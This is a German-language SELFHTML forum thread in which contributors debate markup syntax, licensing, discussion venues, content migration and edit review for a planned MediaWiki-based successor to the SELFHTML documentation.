            Da ich denke, dass die Bedürfnisse der SelfHTML Dokumente sehr recihhaltig sind, sollte man hier sich nicht scheien, eine eindeutige Syntax zu definieren.
            Dabei wäre auch zu achten
            [funktion:
              [option:wert] Das ist hier kommentar, und die Option ist optional
            ]
            Ganz bestimmte Ausleseregeln, so dass Funktionen erweiterbar sind:
            [xlink:http://example.org]
            [xlink:
              [url:http://example.org]
            ]
            [xlink:
              [url:http://example.org] Die Reihenfolge ist egal
              [label:Ein Label]
            ]
            [xlink:
              [url:http://example.org]
              [label:Ein Label]
              [hreflang:de]
            ]
            etc...
            Nur mal so als Beispiel.

            Vielleicht mach ich mir einfach nur zu viel Sorgen, dass aus der Wikisyntax am Ende ein "unleserlicher" HTML-Codebrei draus wird.

            Solange die Syntax strict und homogen ist, ergibt sie aus meiner Erfahrung keine Problem mit der Mischung aus HTML und Bracket-Code.

            Auch möchte ich dieses mal vorschlagen:
            [make:[template:table][rows:4][columns:6]]

            normalerweise wird [p:c] nur bei der Ausgabe interpretiert.
            Mit [make:] könntest du aber bei der ersten Anwendung quasi ein Template erstellen lassen.

            mfg Beat

            --
            ><o(((°>           ><o(((°>
               <°)))o><                     ><o(((°>o
            Der Valigator leibt diese Fische
            1. Hi!

              Vielleicht mach ich mir einfach nur zu viel Sorgen, dass aus der Wikisyntax am Ende ein "unleserlicher" HTML-Codebrei draus wird.
              Solange die Syntax strict und homogen ist, ergibt sie aus meiner Erfahrung keine Problem mit der Mischung aus HTML und Bracket-Code.

              's wird schon irgendwie werden. Zur Not kann man sich ja immer noch was mit Greasemonkey zurechtstricken, das man sich an die ganz persönlichen Macken angepasst hat.

              Lo!

          2. Dokumentieren musst du ja sowieso. Ob du nun das typische HTML Element und die Klassen beschreibst oder eben
            [[browser-support:MSIE8, FF35, OP10]]

            Die Vorlagensyntax von MediaWiki wäre {{browser-support|MSIE8|FF35|OP10}} :)

            Dennoch würde ich es bevorzugen Browser auszuschreiben. Firefox 3.5, Opera 10 usw. FF ist afaik auch keine falsche Abkürzung, sollte der nicht mit Fx abgekürzt werden?

      1. [...] deshalb nicht auf die dem Konzept nach einfachere Wikisyntax angewiesen sind - wenn man eben die Inhalte gleich in HTML erstellen könnte.

        Das ist in MediaWiki prinzipiell möglich (einige Tags/Elemente werden aber entfernt). Das Problem bei Nicht-Nutzung von Wikisyntax ist, dass die Inhalte nicht mehr Medienneutral vorliegen - sollte der Inhalt mal in Buchform oder ähnliches Übertragen werden, muss erst mühsam das HTML entfernt werden.

      2. Hallo dedlfix,

        vielen Dank für deine Antwort! Und vielen Dank an suit und Beat für die hilfreichen Ergänzungen. Ich denke aus diesem Teilthread lässt sich doch einiges über die Syntax herauslesen.

        Wäre es eine gute Idee, den Redaktionschat(termin) öffentlich (bekannt) zu machen? Oder vielleicht einen zweiten öffentlichen Termin einzurichten? Könnte im Anschluss oder vor dem Inner-Circle-Chat stattfinden. (Wenn es überhaupt getrennt werden muss. Ich weiß ja nicht, was ihr da nicht öffentliches zu besprechen habt.)

        Den internen Chat würde ich gerne beibehalten. Nicht unbedingt wegen internen Entscheidungen, aber teilweise auch weil es eventuell nicht viele von außen interessieren wird. ;-)
        Die Idee für einen öffentlichen Termin finde ich aber toll. Werde ich weitergeben.

        • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

        Neben der Nutzungslizenz wäre die Frage nach der Miturheberschaft zu klären. Wie muss man UrhG § 8 Miturheber auslegen. Kann einer allein das gesamte Projekt stoppen? Oder ist es als ein Mitmach-Werk schon in seiner Natur ein veränderliches Werk und somit nicht von einzelnen Miturhebern gravierend in seinen Verwertungsrechten beeinträchtigbar? Muss man sich den Satz (4) bestätigen lassen? Oder ist das alles ganz anders zu sehen?

        Hier habe ich übrigens auch ein wenig Mist gebaut - im letzten Chat hat sich bei uns BY-ND abgezeichnet, und nicht BY-SA. Ich glaube der primäre Grund dafür ist, dass damit Wildwuchs vermieden werden soll.
        Ich habe mir den Paragraphen angeschaut, denke aber nicht dass dieser in der dort beschriebenen Form zur Anwendung kommt. Schließlich erkennen die Autoren bei Mitwirkung am Projekt die CreativeCommons-Lizenz an, die die Rechte des gesamten Werkes klärt.

        • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

        Den Komfort vor allem der individuellen Einstellbarkeit des CForums einzubüßen wäre in meinen Augen ein gravierender Nachteil.

        Wie Martin bereits schrieb: Ich glaube, dass es gut wäre ein eigenes Thema in diesem Forum hier für das Wiki einzurichten, um die zentralen Diskussionen zu führen.

        Ein weiteres Problem sehe ich bei einer Verzettelung der Diskussionen in verschiedenen Medien. Ich sehe das schon beim Bestehenden. Da gibt es neben dem Forum noch die Kommentarfunktion des Blogs, und schon hat man zwei Disskussionsstränge, die sich wenig miteinander abgleichen oder querverbinden (lassen). Andererseits ist eine Diskussion über ein bestimmtes Lemma auch gut in der jeweiligen Diskussionsseite aufgehoben.

        Bei Forum und Blog hat man dann einen Nachteil, wenn man von einem Blog-Eintrag einen bestimmten Thread im Forum referenziert. In diesem Falle könnte man einfach die Kommentar-Funktion des Blogs sperren, um nur einen Diskussionsstrang zu halten.
        Die Diskussion über Lemmata ist IMHO ganz gut auf der jeweiligen Diskussionsseite des Wikis aufgehoben.

        • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

        Verlinken und fachlich durchgesehene und gegebenenfalls überarbeitete Versionen übertragen, wäre aus meiner Sicht ideal. Das lässt sich aber bei einem Massenmitmachsystem kaum durchsetzen. Jeder versteht unter Durchsehen sicher was anderes. Aber das wäre vielleicht kein Problem, denn das Überarbeiten-Können läuft ja in einem Wiki nicht weg. Der Mittelweg könnte sein, zunächst nur verlinken, eine Vorlage für die künftige Struktur einer Dokumentationsseite bereitzustellen, und die Mitarbeiter dazu anzuhalten, bei einer Übernahme wenigstens den Inhalt in die neue Form zu bringen.

        Diesen Ansatz der sanften Migration halte ich auch für einen vernünftigen Kompromiss. Man muss denke ich einsehen, dass das Wiki auch auf mehrere Monate hin noch kein vollwertiger Ersatz für die aktuelle Doku sein kann.

        Sichtung von kritischem Material. Der Rest, der sich kontextgerecht gefahrlos einbinden lässt, kann ja gleich veröffentlicht werden.

        IMHO lässt sich nichts gefahrlos veröffentlichen. Das sollte bei HTML-, CSS- und JavaScript-Dateien klar sein. Aber auch Bilder wurden in der Vergangenheit schon missbraucht, und selbst eine Textdatei kann unter bestimmten Umständen kritische Informationen enthalten.
        Und da die primären Beispiele sowieso nahezu ausschließlich aus Grafiken, HTML, CSS und JavaScript bestehen ist eine 100%ige Sichtung meiner Meinung nach kein schlechter Gedanke.

        • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?

        Wie schon irgendwo in diesem Faden geschrieben, fände ich es netter - da die Mitwirkenden im Prinzip Kenntnisse von HTML haben (sollten) und deshalb nicht auf die dem Konzept nach einfachere Wikisyntax angewiesen sind - wenn man eben die Inhalte gleich in HTML erstellen könnte. Sicherheitsbedenken? Nun, beim hiesigen Blog gehts auch, und ich denke/hoffe nicht, dass es da unsicher gelöst ist.

        Ein Nachteil davon ist, dass man normalen Beispiel-HTML-Code nicht mehr so einfach wie in der Wiki-Syntax einfügen kann. Außerdem ist die MediaWiki-Syntax ziemlich verbreitet. Wäre doch schade, wenn sich Autoren wieder in eine neue Syntax einarbeiten müssten (wie bei SDML). Und zu guter Letzt würde dies einen größeren Arbeitsaufwand bedeuten, den wir uns momentan nicht leisten können.

        Grüße

        Marc Reichelt || http://www.marcreichelt.de/

        --
        DPRINTK("Last time you were disconnected, how about now?");
                linux-2.6.6/drivers/net/tokenring/ibmtr.c
        Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
        1. Hi!

          Sichtung von kritischem Material. Der Rest, der sich kontextgerecht gefahrlos einbinden lässt, kann ja gleich veröffentlicht werden.

          IMHO lässt sich nichts gefahrlos veröffentlichen. Das sollte bei HTML-, CSS- und JavaScript-Dateien klar sein. Aber auch Bilder wurden in der Vergangenheit schon missbraucht, und selbst eine Textdatei kann unter bestimmten Umständen kritische Informationen enthalten.
          Und da die primären Beispiele sowieso nahezu ausschließlich aus Grafiken, HTML, CSS und JavaScript bestehen ist eine 100%ige Sichtung meiner Meinung nach kein schlechter Gedanke.

          Nunja, wenn das Wiki nicht auch mit einer "Erst-sichten-dann-freigeben"-Policy betrieben wird, dann besteht da schon die Möglichkeit Unerwünschtes zumindest vorübergehend zu veröffentlichen. Da ist es dann auch egal, ob es ein schädigender Beispiel-Code ist oder eine strafrechlich relevante Änderung.

          Wie schon irgendwo in diesem Faden geschrieben, fände ich es netter - da die Mitwirkenden im Prinzip Kenntnisse von HTML haben (sollten) und deshalb nicht auf die dem Konzept nach einfachere Wikisyntax angewiesen sind - wenn man eben die Inhalte gleich in HTML erstellen könnte.

          Ein Nachteil davon ist, dass man normalen Beispiel-HTML-Code nicht mehr so einfach wie in der Wiki-Syntax einfügen kann. Außerdem ist die MediaWiki-Syntax ziemlich verbreitet. Wäre doch schade, wenn sich Autoren wieder in eine neue Syntax einarbeiten müssten (wie bei SDML). Und zu guter Letzt würde dies einen größeren Arbeitsaufwand bedeuten, den wir uns momentan nicht leisten können.

          Ja, <...>-Code einfach so schreiben zu können ist schon ein Vorteil für ein Projekt wie das vorliegende. Erst mal sehen, wie es sich damit arbeiten lässt. Was dazustricken kann man bei Bedarf später immer noch.

          Lo!

    3. Hallo Leute!

      Nach langem Überlegen erschien uns die Mediawiki-Software die vorerst beste Wahl zu sein, weil:

      • vermutlich jede Software früher oder später ihre ganz eigenen "Macken" offenbart. Aber um diese kann man sich dann kümmern, wenn sie zu Tage getreten sind. ;-)

      Natürlich ist das nicht der Weisheit letzter Schluss, doch irgendwo muss man anfangen. Letztendlich ist die Software an sich egal, solange sie die Hauptfunktion - das Schreiben des Inhalts - gut unterstützt. Intern haben wir nun bereits ein Mediawiki eingerichtet, welches wir nach kurzer Bearbeitung (Infos für Neulinge, Anlegen wichtiger Kategorien und der Basisstruktur, Lizenz-Festlegung etc.) bereits freigeben wollen.

      Gute Idee, denn erstens halte ich es für gut, wenn es mal ohne monatelangen Vorlauf losgeht und zweitens s.o.!

      Dazu brauchen wir eure Mithilfe:

      • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

      Ich würde ja noch die NC-Klausel mit reinnehmen, also by-nc-sa.

      • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

      Vielleicht eher beides. Die Diskussionsseiten halte ich, was die Inhalte der jeweils zugehörigen Seite anbelangt, für einen der wesentlichsten Vorteile des MW. Andere Diskussionen wären dort aber stets "unpraktisch", weil zu "tief" versteckt. Von daher halte ich verschiedene Optionen und Orte für die unterschiedlichen Diskussionen für am besten.

      • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

      Ich hatte meine Meinung dazu schon geäußert, aber hier nochmal in Kürze: Bestehende Inhalte übertragen. Dadurch hat das Wiki gleich schon Inhalte (und eine gewisse Struktur - zumindest in Teilen), und die "Hemmschwelle" dürfte beim Aktualisieren, Ergänzen und Korrigieren bestehender Inhalte auch weitaus niedriger liegen, als wenn man mit einer leeren Seite anfangen muss.

      • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben. Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze? Die Beispiele müssen zwar nicht ab sofort verfügbar sein, sind aber für später ziemlich wichtig.

      Aufgabe für "Mitarbeiter" mit speziellen Berechtigungen. Die Beispiele könnten ja vorher von den jeweiligen Usern extern verlinkt werden und evt. könnte man eine Art "Hinweis-Icon" auf der Seite platzieren, dass hier noch Scripte eingebunden werden müssen.

      • Vorschläge für Mediawiki-Extensions, die wir installieren sollten?

      Sorry, habe mich seit damals nicht mehr damit beschäftigt.
      Vorschlag: Eine Seite im Wiki, wo man jederzeit solche Vorschläge machen kann (denn die kommen bei der Arbeit damit bestimmt).

      • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?

      Ganz interessant aus meiner Sicht: Eine "Forums-Ecke" im Wiki einrichten, quasi als Ersatz/ Ablösung/ Erweiterung der doch stark überalterten FAQ hier.

      Wir sind sehr gespannt auf euer Feedback. Sobald die grundsätzlichen Fragen beantwortet sind wollen wir das Wiki freischalten. :-)

      Darauf bin ich schon gespannt.
      Vielleicht sollte man das möglichst bald machen, denn die Vorschläge wären imho da auch schon besser (weil übersichtlicher und vorallem dauerhafter) aufgehoben (als hier im Forum, wo der Thread in Bälde im Archiv verschwindet). ;-)

      Eine Wiki-Portalseite, die u.a. auch immer die neuesten Meldungen der Redaktion enthält (verlinkt) wäre imho auch keine schlechte Sache.

      Also nur weiter so. Der neue Weg gefällt mir und ich gehe gerne mit auf diesem Weg.

      Gruß Gunther

      1. Hallo Gunther,

        Dazu brauchen wir eure Mithilfe:

        • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.
          Ich würde ja noch die NC-Klausel mit reinnehmen, also by-nc-sa.

        Da hätten wir ein Problem, wenn ein Buch veröffentlicht werden soll. Ich glaube daher, dass sich entweder by-sa oder by-nd durchsetzen wird.

        • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?
          Vielleicht eher beides. Die Diskussionsseiten halte ich, was die Inhalte der jeweils zugehörigen Seite anbelangt, für einen der wesentlichsten Vorteile des MW. Andere Diskussionen wären dort aber stets "unpraktisch", weil zu "tief" versteckt. Von daher halte ich verschiedene Optionen und Orte für die unterschiedlichen Diskussionen für am besten.

        Wurde bislang öfter vorgeschagen - klingt vernünftig.

        • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?
          Ich hatte meine Meinung dazu schon geäußert, aber hier nochmal in Kürze: Bestehende Inhalte übertragen. Dadurch hat das Wiki gleich schon Inhalte (und eine gewisse Struktur - zumindest in Teilen), und die "Hemmschwelle" dürfte beim Aktualisieren, Ergänzen und Korrigieren bestehender Inhalte auch weitaus niedriger liegen, als wenn man mit einer leeren Seite anfangen muss.

        Hier spalten sich die Meinungen. Einige denken, man sollte das Wiki eher gleich mit aktuellen Inhalten füllen. Du meinst also, man solle erst mal alle Inhalte von 8.1.2 ins Wiki kopieren? Ich finde eher, dass dies die Kreativität hemmt - und einen größeren Arbeitsaufwand zu Beginn produziert, nachdem man nichts weiter als ein 8.1.2-Wiki gewonnen hat.
        Vielleicht sollte man den Ansatz gehen, der auch hier im Thread erwähnt wurde: Jeder darf für sich entscheiden, ob er Inhalte aus 8.1.2 ins Wiki kopiert und dieses danach nur abändert, oder direkt einen neuen Artikel beginnt. Das klingt für mich nach einem sauberen Kompromiss. Auch deshalb, weil die Struktur des Wikis schon mal per se anders sein wird als das von SELFHTML 8.1.2.

        • Vorschläge für Mediawiki-Extensions, die wir installieren sollten?
          Sorry, habe mich seit damals nicht mehr damit beschäftigt.
          Vorschlag: Eine Seite im Wiki, wo man jederzeit solche Vorschläge machen kann (denn die kommen bei der Arbeit damit bestimmt).

        Bingo!

        Eine Wiki-Portalseite, die u.a. auch immer die neuesten Meldungen der Redaktion enthält (verlinkt) wäre imho auch keine schlechte Sache.

        Notiert.

        Grüße

        Marc Reichelt || http://www.marcreichelt.de/

        --
        DPRINTK("Last time you were disconnected, how about now?");
                linux-2.6.6/drivers/net/tokenring/ibmtr.c
        Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
        1. Hi,

          Ich würde ja noch die NC-Klausel mit reinnehmen, also by-nc-sa.

          Da hätten wir ein Problem, wenn ein Buch veröffentlicht werden soll. Ich glaube daher, dass sich entweder by-sa oder by-nd durchsetzen wird.

          Dann bekommt SELFHTML das Problem, dass irgendjemand anderes das Buch (vorher) veröffentlicht - nur unter anderem Namen.

          MfG ChrisB

          --
          “Whoever best describes the problem is the person most likely to solve the problem.” [Dan Roam]
    4. [latex]Mae  govannen![/latex]

      • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

      Eindeutig Forenlösung. Diskussions-Seiten nur dann, wenn es _wesentlich_ bessere Lösungen als die von Wikipedia verwendete gibt. Ich habe im Zuge der WP-Relevanzdebatten dort recht viele Löschdiskussionen mitgelesen und finde die dortige Lösung einfach unlesbar und unzumutbar.Das mag für angemeldete Nutzer vielleicht anders sein, keine Ahnung.

      • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben. Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze? Die Beispiele müssen zwar nicht ab sofort verfügbar sein, sind aber für später ziemlich wichtig.

      Ich halte für SelfHTML ein völlig offenes Wikisystem schon aus qualitativen Gründen für nicht angebracht. Jeder soll zwar schreiben können, aber veröffentlicht sollte _jeglicher Inhalt_ erst nach Überprüfung durch eine Redaktion. Das gälte dann auch für Beispiele: Einlieferung als Quelltext, manuelle Freigabe nach Überprüfung.

      • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?
      • freier Kaffee für alle.
      • für Programmiersprachen wie z.B. Javascript: Schnellübersicht über die Funktionsparameter und deren Bedeutung, damit man nicht immer den gesamten Fließtext lesen muß, wen man z.B. kurz die Parameter-Reihenfolge nachsehen möchte:

      Verwendung:
         parseInt(str, radix)
      Parameter:
        str    Die in eine Zahl umzuwandelnde Zeichenkette
        radix  Basis des verwendeten Zahlensystems
      Rückgabe:
        eine Zahl oder NaN, wenn Umwandlung nicht möglich

      <hier bisheriger ausführlicher Text>

      Cü,

      Kai

      --
      Even if you are a master of jQuery, you can only create mediocre (at best)
      scripts. The problem is that the authors you rely on have not mastered the
      DOM themselves. It's like one blind guy leading another off a cliff (D.Mark/clj)
      Foren-Stylesheet Site Selfzeug JS-Lookup
      SelfCode: sh:( fo:| ch:? rl:( br:< n4:( ie:{ mo:| va:) js:| de:> zu:) fl:( ss:| ls:?
      1. Hi Kai!

        Sorry, wenn ich jetzt gleich mal ...., aber ich finde es eben gerade "typisch", bzw. "symptomatisch".

        Diskussions-Seiten nur dann, wenn es _wesentlich_ bessere Lösungen als die von Wikipedia verwendete gibt.

        Nun warte es doch erstmal ab, bevor du schon wieder im Vorfeld die vorhandenen (ohne große Selbst-Strickerei) Möglichkeiten als "unzumutbar" abtust.

        Ich halte für SelfHTML ein völlig offenes Wikisystem schon aus qualitativen Gründen für nicht angebracht.

        Ich dachte, diese leidliche Diskussion hätten wir nun endgültig hinter uns gelassen!?

        Jeder soll zwar schreiben können, aber veröffentlicht sollte _jeglicher Inhalt_ erst nach Überprüfung durch eine Redaktion. Das gälte dann auch für Beispiele: Einlieferung als Quelltext, manuelle Freigabe nach Überprüfung.

        Womit das System "Wiki" wieder konterkariert würde, und somit auch eine (mögliche) Beteiligung der User.

        • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?
        • freier Kaffee für alle.

        Gute Idee ...!

        Gruß Gunther

        1. Mahlzeit Gunther,

          Jeder soll zwar schreiben können, aber veröffentlicht sollte _jeglicher Inhalt_ erst nach Überprüfung durch eine Redaktion. Das gälte dann auch für Beispiele: Einlieferung als Quelltext, manuelle Freigabe nach Überprüfung.
          Womit das System "Wiki" wieder konterkariert würde, und somit auch eine (mögliche) Beteiligung der User.

          Was spräche ein Wikipedia-ähnliches System?

          Jeder (*gerne* auch "nur" jeder angemeldete Benutzer) darf schreiben, es wird allerdings regelmäßig von der Redaktion (oder von wem auch immer) eine Sichtung der einzelnen Artikel vorgenommen. Default-mäßig wird der letzte gesichtete (und damit qualitätsgeprüfte) Stand angezeigt.

          MfG,
          EKKi

          --
          sh:( fo:| ch:? rl:( br:> n4:~ ie:% mo:} va:) de:] zu:) fl:{ ss:) ls:& js:|
          1. Hi Ekki!

            Jeder soll zwar schreiben können, aber veröffentlicht sollte _jeglicher Inhalt_ erst nach Überprüfung durch eine Redaktion. Das gälte dann auch für Beispiele: Einlieferung als Quelltext, manuelle Freigabe nach Überprüfung.
            Womit das System "Wiki" wieder konterkariert würde, und somit auch eine (mögliche) Beteiligung der User.

            Was spräche (gegen?) ein Wikipedia-ähnliches System?

            Jeder (*gerne* auch "nur" jeder angemeldete Benutzer) darf schreiben, es wird allerdings regelmäßig von der Redaktion (oder von wem auch immer) eine Sichtung der einzelnen Artikel vorgenommen. Default-mäßig wird der letzte gesichtete (und damit qualitätsgeprüfte) Stand angezeigt.

            Einfach formuliert sehe ich das so:
            Man sollte die Diskussion oder das Nachdenken über mögliche Lösungsansätze von Problemen von deren tatsächlichem Auftreten abhängig machen.

            Ob und wie eventuelle Redaktion von Beiträgen vorgenommen wird, gehört imho dazu.
            Bietet nicht nahezu fast jedes Wiki-Script quasi automatisch eine Versions-Historie und die Möglichkeit, Änderungen rückgängig zu machen?
            Also sollte man imho einfach erstmal abwarten, ob darüber hinsuagehende "Maßnahmen" überhaupt erforderlich werden. Ich glaube nämlich durchaus auch an die "Selbstdisziplin" der Community.

            Gruß Gunther

            1. Hi!

              Man sollte die Diskussion oder das Nachdenken über mögliche Lösungsansätze von Problemen von deren tatsächlichem Auftreten abhängig machen.

              Dabei sollten aber nicht die bereits anderswo aufgetretenen Probleme übersehen werden. Und davon werden auch uns™ welche treffen, das ist so sicher wie das Amen in der Kirche.

              Ob und wie eventuelle Redaktion von Beiträgen vorgenommen wird, gehört imho dazu.

              Das betrifft die mehr oder weniger gutartigen (oder gut gemeinten) Änderungen.

              Bietet nicht nahezu fast jedes Wiki-Script quasi automatisch eine Versions-Historie und die Möglichkeit, Änderungen rückgängig zu machen?

              Wie ist das in dem Fall mit komplett unerwünschtem Inhalt, also Spam und Vandalismus? Gibt es da eine Möglichkeit, den auch aus der Versionsgeschichte zu eliminieren? Sowas muss ja nicht bis in alle Ewigkeit aufgehoben werden.

              Also sollte man imho einfach erstmal abwarten, ob darüber hinsuagehende "Maßnahmen" überhaupt erforderlich werden. Ich glaube nämlich durchaus auch an die "Selbstdisziplin" der Community.

              Ich auch, aber ich glaube auch nicht, das die Unholde einen Bogen um SELFHTML machen werden.

              Lo!

              1. Hallo alle zusammen,

                Dabei sollten aber nicht die bereits anderswo aufgetretenen Probleme übersehen werden. Und davon werden auch uns™ welche treffen, das ist so sicher wie das Amen in der Kirche.

                Das denke ich auch, Störenfriede und Trolle trollen sich überall rum und auch selfHTML war in der Vergangenheit nicht davon verschont.

                Ob und wie eventuelle Redaktion von Beiträgen vorgenommen wird, gehört imho dazu.

                Das betrifft die mehr oder weniger gutartigen (oder gut gemeinten) Änderungen.

                Ich meine, eine inhaltliche Kontrolle jeder Änderung ist unerlässlich um die Qualität zu wahren.

                Bietet nicht nahezu fast jedes Wiki-Script quasi automatisch eine Versions-Historie und die Möglichkeit, Änderungen rückgängig zu machen?

                Wie ist das in dem Fall mit komplett unerwünschtem Inhalt, also Spam und Vandalismus? Gibt es da eine Möglichkeit, den auch aus der Versionsgeschichte zu eliminieren? Sowas muss ja nicht bis in alle Ewigkeit aufgehoben werden.

                Bin nicht sicher was das angeht, aber ich denke das sollte möglich sein.

                Also sollte man imho einfach erstmal abwarten, ob darüber hinsuagehende "Maßnahmen" überhaupt erforderlich werden. Ich glaube nämlich durchaus auch an die "Selbstdisziplin" der Community.

                Ich auch, aber ich glaube auch nicht, das die Unholde einen Bogen um SELFHTML machen werden.

                Zu beidem ein "ja":
                Ich glaube an die Selbstdisziplin der Community, dazu zähle ich Spammer, Vandalen, Störenfriede und Trolle allerdings nicht.

                Vielleicht gibt es eine Möglichkeit bei aufruf eines Eintrages zunächst mal die letzte geprüfte Version anzuzeigen und falls ungeprüfte Änderungen vorliegen einen Hinweis einzublenden a la "Zu diesem Artikel gibt es [n] ungeprüfte Änderungen".

                Ich denke um der Qualität willen wäre das eine gute, wenn nicht sogar die beste Option.

                Gruß
                Basti

                1. Vielleicht gibt es eine Möglichkeit bei aufruf eines Eintrages zunächst mal die letzte geprüfte Version anzuzeigen und falls ungeprüfte Änderungen vorliegen einen Hinweis einzublenden a la "Zu diesem Artikel gibt es [n] ungeprüfte Änderungen".

                  MediaWiki - zumindest die Version der deutschsprachigen Wikipedia kann das und nennt es "gesichtete Versionen". Ich weiß aber nicht, wie das umgesetzt ist oder ob es schon im MediaWiki-Trunk ist.

        2. [latex]Mae  govannen![/latex]

          Sorry, wenn ich jetzt gleich mal ...., aber ich finde es eben gerade "typisch", bzw. "symptomatisch".

          Genau. Aktionismus ist in. Nur ja nicht _vorher_ mal über potentielle und tatsächliche Probleme nachdenken. Lieber mit Schwung die nächste Sackgasse ansteuern.

          Diskussions-Seiten nur dann, wenn es _wesentlich_ bessere Lösungen als die von Wikipedia verwendete gibt.
          Nun warte es doch erstmal ab, bevor du schon wieder im Vorfeld die vorhandenen (ohne große Selbst-Strickerei) Möglichkeiten als "unzumutbar" abtust.

          Wenn nach _Meinungen_ gefragt wird, bekommt man auch Meinungen. Ich sehe keinen Sinn darin, alles nur schönzureden. Die Frage lautete A (Forum) oder B (Diskussionsseiten) Ich habe A gesagt (was du "netterweise" weggeschnitten hast) und erklärt, daß für mich B _in einer ganz spezifischen Form_ (siehe weiter unten) keine Alternative sein kann, und daß ich diese Erkenntnis aus den Erfahrungen mit WP-Diskussionen gewonnen  habe (was du "netterweise" ebenfalls weggeschnitten hast) Du stellst durch dieses Mißquoting meinen Satz in einen ganz anderen Kontext. Soll es etwa auch nur annähernd sinnvoll sein, daß sich der Autor selbst um Einrückung und Verkettung der Beiträge kümmern muß? Die WP-Diskussionen sind -mit Verlaub- komplett chaotisch, man blickt irgendwann nicht mehr durch, wer da gerade auf wen antwortet, wer wo etwas neues hinzugeschrieben hat und so weiter. Das muß man sich alles mühsam durch die Versionen erarbeiten. Ich halte das weiterhin für unzumutbar.

          Ich halte für SelfHTML ein völlig offenes Wikisystem schon aus qualitativen Gründen für nicht angebracht.
          Ich dachte, diese leidliche Diskussion hätten wir nun endgültig hinter uns gelassen!?

          Wiederum: kritische Gedanken sind unerwünscht? Hauptsache erst mal "machen"? Unsinniges wird durch Ausblenden sinnvoller Alternativen nicht sinnvoller. Ich lese schon lange genug im Forum mit, um zu erkennen, daß hier oft von Laien und Anfängern/Hobbyautoren "Lösungen" für Probleme gegeben werden, die zwar irgendwie <del>funktionieren</del> <ins>den gewünschen Effekt bringen</ins>, aber keineswegs sinnvoll sind. Auch hier muß ich die Wikipedia als Negativ-Beispiel anführen, wo teilweise Texte von Fachautoren durch Halbwissen ersetzt werden. Soll SelfHTML die Fehler, die bereits in der Wikipedia gemacht wurden, hier alle erneut machen? Edit-Wars, wenn jemand unbedingt seine Meinung durchdrücken will, Sperrungen, Unsicherheit unter den Nutzer, was denn nun richtig ist usw.? Warum nicht aus diesen Fehler lernen und sie von vornherein vermeiden?

          Auch wenn das nur Einzelfälle sein mögen: Derjenige, der solcherlei Informationen abruft, _wird_ in diesem speziellen Fall falsch informiert (und verbreitet diese falsche Information ggf. weiter). Das kann m.E. nicht der Sinn einer Fachdokumentation wie SelfHTML sein und würde den Wert einer solchen Dokumentation auch stark herabsetzen.

          Jeder soll zwar schreiben können, aber veröffentlicht sollte _jeglicher Inhalt_ erst nach Überprüfung durch eine Redaktion. Das gälte dann auch für Beispiele: Einlieferung als Quelltext, manuelle Freigabe nach Überprüfung.
          Womit das System "Wiki" wieder konterkariert würde, und somit auch eine (mögliche) Beteiligung der User.

          Sehe ich anders. Wer ein Mitwirken ausschließt, nur weil sein Text nicht sofort und "as is" übernommen wird, hat ein schweres Ego-Problem.
          Ansonsten: siehe oben.

          Cü,

          Kai

          --
          Even if you are a master of jQuery, you can only create mediocre (at best)
          scripts. The problem is that the authors you rely on have not mastered the
          DOM themselves. It's like one blind guy leading another off a cliff (D.Mark/clj)
          Foren-Stylesheet Site Selfzeug JS-Lookup
          SelfCode: sh:( fo:| ch:? rl:( br:< n4:( ie:{ mo:| va:) js:| de:> zu:) fl:( ss:| ls:?
          1. Hi Kai!

            Genau. Aktionismus ist in. Nur ja nicht _vorher_ mal über potentielle und tatsächliche Probleme nachdenken. Lieber mit Schwung die nächste Sackgasse ansteuern.

